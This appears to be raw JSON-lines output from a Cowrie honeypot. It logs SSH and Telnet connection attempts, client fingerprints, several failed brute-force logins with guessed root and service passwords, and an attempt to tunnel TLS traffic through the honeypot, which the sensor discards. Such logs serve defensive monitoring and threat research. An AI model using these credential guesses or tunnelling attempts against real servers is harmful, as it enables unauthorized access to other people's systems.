{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":42147,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd0aff0f7a53","protocol":"ssh","message":"New connection: 49.247.37.22:42147 (159.203.135.109:22) [session: dd0aff0f7a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:01.752050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:01.755810Z","src_ip":"49.247.37.22","session":"dd0aff0f7a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:01.962500Z","src_ip":"49.247.37.22","session":"dd0aff0f7a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa666888","message":"login attempt [root/Aa666888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:02.825566Z","src_ip":"49.247.37.22","session":"dd0aff0f7a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":33534,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e8ac451b4bb","protocol":"ssh","message":"New connection: 103.15.222.183:33534 (10.17.0.5:22) [session: 8e8ac451b4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:04.018123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:04.022502Z","src_ip":"103.15.222.183","session":"8e8ac451b4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:04.042819Z","src_ip":"49.247.37.22","session":"dd0aff0f7a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:04.276675Z","src_ip":"103.15.222.183","session":"8e8ac451b4bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makaron","message":"login attempt [root/makaron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:05.031252Z","src_ip":"103.15.222.183","session":"8e8ac451b4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:06.284842Z","src_ip":"103.15.222.183","session":"8e8ac451b4bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:07.254731Z","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:07.271570Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0e\\xfe\\xc8\\x1e\\x01\\xb2 W\\xc5\\xe3\\xb3SE\\xf1\\xca\\xc1dIJ\\xaa\\x81\\x92'\\xa4\\xa8\\xc1`\\x06aO\\xd8\\xc1  \\xe98Y\\x82x\\x19\\x08-\\xadR\\xe1\\xc4\\x90\\x9c\\x9f\\xa2lP'\\xbc\\xf9g\\xa8_a\\xcft\\xcd\\xeb\\x9e\\x00\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xac\\xb7\\x95,\\x0c\\n\\xe0m\\x17\\xf8\\x18\\x00\\xe3R\\xf2\\x1eV\\xcd\\x97\\x0c\\xaa)\\xe1\\x8b\\xbed.\\x19@\\x06\\xf7\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0e\\xfe\\xc8\\x1e\\x01\\xb2 W\\xc5\\xe3\\xb3SE\\xf1\\xca\\xc1dIJ\\xaa\\x81\\x92'\\xa4\\xa8\\xc1`\\x06aO\\xd8\\xc1  \\xe98Y\\x82x\\x19\\x08-\\xadR\\xe1\\xc4\\x90\\x9c\\x9f\\xa2lP'\\xbc\\xf9g\\xa8_a\\xcft\\xcd\\xeb\\x9e\\x00\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xac\\xb7\\x95,\\x0c\\n\\xe0m\\x17\\xf8\\x18\\x00\\xe3R\\xf2\\x1eV\\xcd\\x97\\x0c\\xaa)\\xe1\\x8b\\xbed.\\x19@\\x06\\xf7\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:07.275163Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:07.298355Z","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:07.321662Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9c\\x9c\\x00\\x18\\x8c\\x88\\x86Y\\xdf\\xb5\\xca\\x90\\xd8\\xbb\\x8c$n\"\\xeb\\xae$\\x89Y\\xe2\\xd6\\xd5\\xaa\\x85Gm\\xdcE =b\\xb4R\\xf1p`9G\\xcf>\\xb2\\xb1\\xa8\\xd7\\xd4\\x16\\xc9O\\x85\\x0e-\\'r\\x01S}\\xec\\x81\\xc7^\\xb2\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97S\\xcaR\\t\\xe9\\x0csR\\xa2H@\\x8c@\\x12:pr\\xb9\\x1b\\xe7\\x0fQ\\xd1\\xc3\\xf6\\x1c\\xc03A\\xdbE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9c\\x9c\\x00\\x18\\x8c\\x88\\x86Y\\xdf\\xb5\\xca\\x90\\xd8\\xbb\\x8c$n\"\\xeb\\xae$\\x89Y\\xe2\\xd6\\xd5\\xaa\\x85Gm\\xdcE =b\\xb4R\\xf1p`9G\\xcf>\\xb2\\xb1\\xa8\\xd7\\xd4\\x16\\xc9O\\x85\\x0e-\\'r\\x01S}\\xec\\x81\\xc7^\\xb2\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97S\\xcaR\\t\\xe9\\x0csR\\xa2H@\\x8c@\\x12:pr\\xb9\\x1b\\xe7\\x0fQ\\xd1\\xc3\\xf6\\x1c\\xc03A\\xdbE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:07.325353Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.9","message":"Connection lost after 32.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:11.943333Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50274,"dst_ip":"159.203.135.109","dst_port":23,"session":"58927ac3a368","protocol":"telnet","message":"New connection: 172.81.62.90:50274 (159.203.135.109:23) [session: 58927ac3a368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:15.656451Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":37610,"dst_ip":"159.203.135.109","dst_port":22,"session":"146d40bb4b63","protocol":"ssh","message":"New connection: 103.60.242.169:37610 (159.203.135.109:22) [session: 146d40bb4b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:19.319651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:19.325284Z","src_ip":"103.60.242.169","session":"146d40bb4b63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:19.574369Z","src_ip":"103.60.242.169","session":"146d40bb4b63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"1","message":"login attempt [webserver/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:20.595340Z","src_ip":"103.60.242.169","session":"146d40bb4b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":58751,"dst_ip":"10.17.0.5","dst_port":22,"session":"30c97c75e41d","protocol":"ssh","message":"New connection: 23.175.50.47:58751 (10.17.0.5:22) [session: 30c97c75e41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:21.336327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:21.340419Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
